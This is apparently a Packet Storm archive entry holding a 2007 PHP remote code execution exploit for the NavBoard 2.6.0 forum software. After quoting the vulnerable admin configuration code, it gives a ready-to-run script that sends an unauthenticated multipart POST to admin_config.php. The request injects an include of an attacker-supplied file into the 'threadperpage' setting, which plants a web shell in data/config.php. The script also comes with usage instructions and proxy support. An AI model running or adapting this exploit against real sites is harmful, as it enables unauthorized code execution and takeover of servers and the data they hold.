Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
packetstormDj7xplPACKETSTORM:56956
HistoryMay 30, 2007 - 12:00 a.m.

navboard260-exec.txt

2007-05-3000:00:00
Dj7xpl
packetstormsecurity.com
15
JSON
`<?php  
  
/*  
\\\|///  
\\ - - //  
( @ @ )  
----oOOo--(_)-oOOo---------------------------------------------------  
  
[ Y! Underground Group ]  
[ [email protected] ]  
[ Dj7xpl.2600.ir ]  
  
----ooooO-----Ooooo--------------------------------------------------  
( ) ( )  
\ ( ) /  
\_) (_/  
  
---------------------------------------------------------------------  
  
[!] Portal : NavBoard 2.6.0  
[!] Download : http://www.sourceforge.net/projects/navboard  
[!] Type : Remote Code Execution Exploit  
  
---------------------------------------------------------------------  
*/  
  
/*  
Vuln Code :  
  
[Code]  
  
if(!$editconfig){  
  
tableheader1();  
print "<form action=\"admin_config.php\" method=post>";  
print "<input type=hidden name=\"editconfig\" value=\"1\" size=40>";   
print "<tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Main forum settings</b>";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Board Title";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"boardtitle\" value=\"$configarray[0]\" size=40 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Admin email address (blank will not display)";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"adminemail\" value=\"$configarray[35]\" size=40 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Main website address (NOT forum address, blank will display forum address)";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"mainwebsite\" value=\"$configarray[36]\" size=40 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Display text title instead of graphic logo for faster loading<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[34]=="on")  
{print "<input type=checkbox name=\"textlogo\" class=\"forminput\" checked>";}  
else{print "<input type=checkbox name=\"textlogo\" class=\"forminput\">";}  
print "</span></td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
  
print "<b>Forums</b><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max levels of subforums to display on one page (less will make for faster loading)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxsubforumdisplay\" value=\"$configarray[27]\" size=2 class=\"forminput\">";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Don't find forum reply count on the fly, recount during posting<br>(faster forum page, may slow posting slightly)";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[42]=="on"){  
print "<input type=checkbox name=\"dontscanreplycount\" class=\"forminput\" checked>";  
}else{print "<input type=checkbox name=\"dontscanreplycount\" class=\"forminput\">";}  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Forum/Thread indenting amount<br>Percentage of title cell used for indent spaing";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"indentspacing\" value=\"$configarray[44]\" size=2 class=\"forminput\">%";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
  
print "<b>Posts</b><br>";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Seconds before user may add another post (flood control)";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"postfloodcontrolsec\" value=\"$configarray[37]\" size=2 class=\"forminput\">";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Amount of nested bbcodes allowed<br>(how many times a bbcode tag can be put over itself) 3 is default";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"nestedbbcodes\" value=\"$configarray[43]\" size=2 class=\"forminput\">";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Show names for user levels instead of imageicons:<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[45]=="on"){  
print "<input type=checkbox name=\"userlevelnames\" class=\"forminput\" checked>";  
}else{  
print "<input type=checkbox name=\"userlevelnames\" class=\"forminput\">";  
}  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Show all edits instead of only last edit on posts<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[46]=="on"){  
print "<input type=checkbox name=\"showalledits\" class=\"forminput\" checked>";  
}else{  
print "<input type=checkbox name=\"showalledits\" class=\"forminput\">";  
}  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
  
print "<b>Registration</b><br>";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Seconds before another account can be registered (flood control)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"regfloodcontrolsec\" value=\"$configarray[38]\" size=2 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Method of registration<br>";  
print "NOTE: Mailing in php must be setup correctly on your server to work with email confirmation";  
print "</span></td><td class=\"tablecell2\" width=\"50%\"><span class=\"textlarge\">";  
if($configarray[39]=="on"||$configarray[39]==""){  
print "<input type=radio name=\"registration\" value=\"on\" class=\"forminput\" checked> ";  
}else{  
print "<input type=radio name=\"registration\" value=\"on\" class=\"forminput\"> ";  
}  
print "Allowed<br>";  
if($configarray[39]=="confirm"){  
print "<input type=radio name=\"registration\" value=\"confirm\" class=\"forminput\" checked> ";  
}else{  
print "<input type=radio name=\"registration\" value=\"confirm\" class=\"forminput\"> ";  
}  
print "Email confirmed<br>";  
if($configarray[39]=="approve"){  
print "<input type=radio name=\"registration\" value=\"approve\" class=\"forminput\" checked> ";  
}else{  
print "<input type=radio name=\"registration\" value=\"approve\" class=\"forminput\"> ";  
}  
print "Admin approved";  
print "</span></td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Profiles</b>";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Allow duplicate display names<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[32]=="on"){  
print "<input type=checkbox name=\"allowdupdisplay\" class=\"forminput\" checked>";  
}else{  
print "<input type=checkbox name=\"allowdupdisplay\" class=\"forminput\">";  
}  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Display name changing<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\"><span class=\"textlarge\">";  
if($configarray[41]=="off"){  
print "<input type=radio name=\"displaychange\" value=\"off\" class=\"forminput\" checked> ";  
}else{  
print "<input type=radio name=\"displaychange\" value=\"off\" class=\"forminput\"> ";  
}  
print "Not allowed<br>";  
if($configarray[41]=="on"||$configarray[41]==""){  
print "<input type=radio name=\"displaychange\" value=\"on\" class=\"forminput\" checked> ";  
}else{  
print "<input type=radio name=\"displaychange\" value=\"on\" class=\"forminput\"> ";  
}  
print "Allowed<br>";  
if($configarray[41]=="approve"){  
print "<input type=radio name=\"displaychange\" value=\"approve\" class=\"forminput\" checked> ";  
}else{  
print "<input type=radio name=\"displaychange\" value=\"approve\" class=\"forminput\"> ";  
}  
print "Admin approved";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Default time format (php <a href=\"http://www.php.net/manual/en/function.date.php\" target=\"_new\">date</a> format) ";  
print "Recommended: n-j-Y h:iA <br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"defaulttime\" value=\"$configarray[33]\" size=40 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max people on individual users buddy lists";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"buddylistmax\" value=\"$configarray[28]\" size=2 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Avatars</b><br>";  
print "</span></td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Avatar file size limit (bytes)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"avatarfilesize\" value=\"$configarray[9]\" size=20 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Avatar dimensions limit (height)x(width)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"avatardimension\" value=\"$configarray[10]\" size=20 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Attachments</b>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Allowed attachment extensions (separated by commas) (blank would allow no attachments)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"allowedattachext\" value=\"$configarray[22]\" size=40 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max size of attachments (in bytes)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxattachsize\" value=\"$configarray[23]\" size=20 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max total size of all attachments (in bytes)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxtotalattachsize\" value=\"$configarray[31]\" size=20 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Polls</b>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max poll options<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxpolloptions\" value=\"$configarray[24]\" size=2 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Theme</b><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Default theme<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
$themesarray=listdirs("themes");  
print "<select size=1 name=\"defaulttheme\" size=40 class=\"forminput\">\n";  
for($n=0;$n<count($themesarray);$n++){  
  
if($themesarray[$n]==$configarray[12]){  
print "<option value=\"$themesarray[$n]\" selected>$themesarray[$n]</option>";  
}else{  
print "<option value=\"$themesarray[$n]\">$themesarray[$n]</option>";  
}  
  
}  
print "</select>";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Online users</b><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Seconds of inactivity before user is removed from online list (300seconds=5minutes)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"inactivityseconds\" value=\"$configarray[13]\" size=2 class=\"forminput\">";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Page settings</b>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Threads to show per page in forum<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"threadperpage\" value=\"$configarray[7]\" size=2 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Posts to show per page in thread<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"postperpage\" value=\"$configarray[8]\" size=2 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Max character settings</b><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max total characters in body of posts<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxcharsbody\" value=\"$configarray[18]\" size=5 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max total characters in subject of posts<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxcharssubject\" value=\"$configarray[25]\" size=5 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max total characters in signatures<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxcharssigs\" value=\"$configarray[19]\" size=5 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Enabling/Disabling</b>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Allow HTML in posts:<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[14]=="allowhtml"){  
print "<input type=checkbox name=\"html\" class=\"forminput\" checked>";  
}else{  
print "<input type=checkbox name=\"html\" class=\"forminput\">";  
}  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Enable GZ Compression:<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
if($configarray[21]=="disablegz"){  
print "<input type=checkbox name=\"gzcompress\" class=\"forminput\">";  
}else{  
print "<input type=checkbox name=\"gzcompress\" class=\"forminput\" checked>";  
}   
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Private Messaging</b><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max total size of pms per user (bytes)<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxpmsize\" value=\"$configarray[29]\" size=10 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Max total number of pms per user<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"maxpmnumber\" value=\"$configarray[30]\" size=10 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tableheadercell\" colspan=\"2\"><span class=\"textlarge\">";  
print "<b>Board Closing</b>";  
print "</td></tr><tr><td class=\"tablecell1\" width=\"50%\"><span class=\"textlarge\">";  
print "Entering info here will cause the entire bulletin board to be closed<br>";  
print "This is the message that shows up when the board is closed<br>";  
print "</span></td><td class=\"tablecell2\" width=\"50%\">";  
print "<input type=text name=\"boardclosing\" value=\"$configarray[40]\" size=60 class=\"forminput\"><br>";  
print "</td></tr><tr><td class=\"tablecell2\" colspan=\"2\"><span class=\"textlarge\">";  
print "<input type=submit name=\"submit\" value=\"Update\" class=\"formbutton\">";  
print "</span>";  
print "</td>";  
print "</form>";  
print "</tr>";  
print "</table>";  
}  
  
if($editconfig){  
  
$boardtitle=stripslashes($boardtitle);  
$boardtitle=htmlentities($boardtitle);  
writedata("$maindatadir/config.php",$boardtitle,0);  
writedata("$maindatadir/config.php",$threadperpage,7);  
writedata("$maindatadir/config.php",$postperpage,8);  
writedata("$maindatadir/config.php",$avatarfilesize,9);  
writedata("$maindatadir/config.php",$avatardimension,10);  
writedata("$maindatadir/config.php",$defaulttheme,12);  
writedata("$maindatadir/config.php",$inactivityseconds,13);  
if($html=="on"){  
writedata("$maindatadir/config.php","allowhtml",14);  
}else{  
writedata("$maindatadir/config.php","denyhtml",14);  
}  
writedata("$maindatadir/config.php",$maxcharsbody,18);  
writedata("$maindatadir/config.php",$maxcharssigs,19);  
if($gzcompress=="on"){  
writedata("$maindatadir/config.php","enablegz",21);  
}else{  
writedata("$maindatadir/config.php","disablegz",21);  
}  
writedata("$maindatadir/config.php",$allowedattachext,22);  
writedata("$maindatadir/config.php",$maxattachsize,23);  
writedata("$maindatadir/config.php",$maxpolloptions,24);  
writedata("$maindatadir/config.php",$maxcharssubject,25);  
writedata("$maindatadir/config.php",$maxsubforumdisplay,27);  
writedata("$maindatadir/config.php",$buddylistmax,28);  
writedata("$maindatadir/config.php",$maxpmsize,29);  
writedata("$maindatadir/config.php",$maxpmnumber,30);  
writedata("$maindatadir/config.php",$maxtotalattachsize,31);  
writedata("$maindatadir/config.php",$allowdupdisplay,32);  
writedata("$maindatadir/config.php",$defaulttime,33);  
writedata("$maindatadir/config.php",$textlogo,34);  
writedata("$maindatadir/config.php",$adminemail,35);  
writedata("$maindatadir/config.php",$mainwebsite,36);  
writedata("$maindatadir/config.php",$postfloodcontrolsec,37);  
writedata("$maindatadir/config.php",$regfloodcontrolsec,38);  
writedata("$maindatadir/config.php",$registration,39);  
writedata("$maindatadir/config.php",$boardclosing,40);  
writedata("$maindatadir/config.php",$displaychange,41);  
  
if($configarray[42]!=="on"&&$dontscanreplycount=="on"){//if turning on for first time, make a recount  
for($n=0;$n<count($forumarray);$n++){  
$topicarray=listdirs("$configarray[2]/$forumarray[$n]");  
$replies=0;  
for($m=0;$m<count($topicarray);$m++){  
$postarray2=listfiles("$configarray[2]/$forumarray[$n]/$topicarray[$m]");  
$replies+=count($postarray2)-1;  
}  
writedata("$configarray[2]/$forumarray[$n].php",$replies,11);  
}  
writedata("$maindatadir/config.php",$dontscanreplycount,42);  
}else{  
writedata("$maindatadir/config.php",$dontscanreplycount,42);  
}  
  
writedata("$maindatadir/config.php",$nestedbbcodes,43);  
writedata("$maindatadir/config.php",$indentspacing,44);  
writedata("$maindatadir/config.php",$userlevelnames,45);  
writedata("$maindatadir/config.php",$showalledits,46);  
  
  
[/Code]  
*/  
  
if ($argc<2) {  
print_r('  
-----------------------------------------------------------------------------  
  
Usage: php '.$argv[0].' Host Path Options  
host: Target server (ip/hostname)  
path: Path To Folder  
  
Options:  
-p[port]: specify a port other than 80  
-P[ip:port]: specify a proxy  
  
Example:  
php '.$argv[0].' 127.0.0.1 /Forum/ -P1.1.1.1:80  
  
-----------------------------------------------------------------------------  
');  
  
die;  
}  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacket($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
}  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$port=80;  
$proxy="";  
for ($i=7; $i<$argc; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
/*Data*/  
  
$data.='-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="editconfig"  
  
  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="boardtitle"  
  
Dj7xpl  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="threadperpage"  
  
www\";include \"\$shell\";\/\/  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="postperpage"  
  
Dj7xpl  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="avatarfilesize"  
  
11  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="avatardimension"  
  
123  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="defaulttheme"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="inactivityseconds"  
  
#CCFF00  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="html"  
  
on  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxcharsbody"  
  
111  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxcharssigs"  
  
11122  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="gzcompress"  
  
on  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="allowedattachext"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxattachsize"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxpolloptions"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxcharssubject"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxsubforumdisplay"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="buddylistmax"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxpmsize"  
  
Dj7xpl  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxpmnumber"  
  
Dj7xpl  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="maxtotalattachsize"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="allowdupdisplay"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="defaulttime"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="textlogo"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="adminemail"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="mainwebsite"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="postfloodcontrolsec"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="regfloodcontrolsec"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="registration"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="boardclosing"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="displaychange"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="replies"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="dontscanreplycount"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="nestedbbcodes"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="indentspacing"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="userlevelnames"  
  
red  
-----------------------------7d6224c08dc  
Content-Disposition: form-data; name="showalledits"  
  
red  
-----------------------------7d6224c08dc  
';  
  
  
/*Echo Header*/  
echo "[!] NavBoard 2.6.0\r\n";  
echo "[!] Powered By Y! Underground Group\r\n";  
echo "[!] Vuln And Coded By Dj7xpl\r\n";  
  
/*Sending Data*/  
$packet ="POST ".$path."admin_config.php HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Accept-Language: en\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacket($packet);  
sleep(2);  
Echo "[!] Shell : http://".$host.$path."data/config.php?shell=Evil Text\r\n";  
  
?>  
`
JSON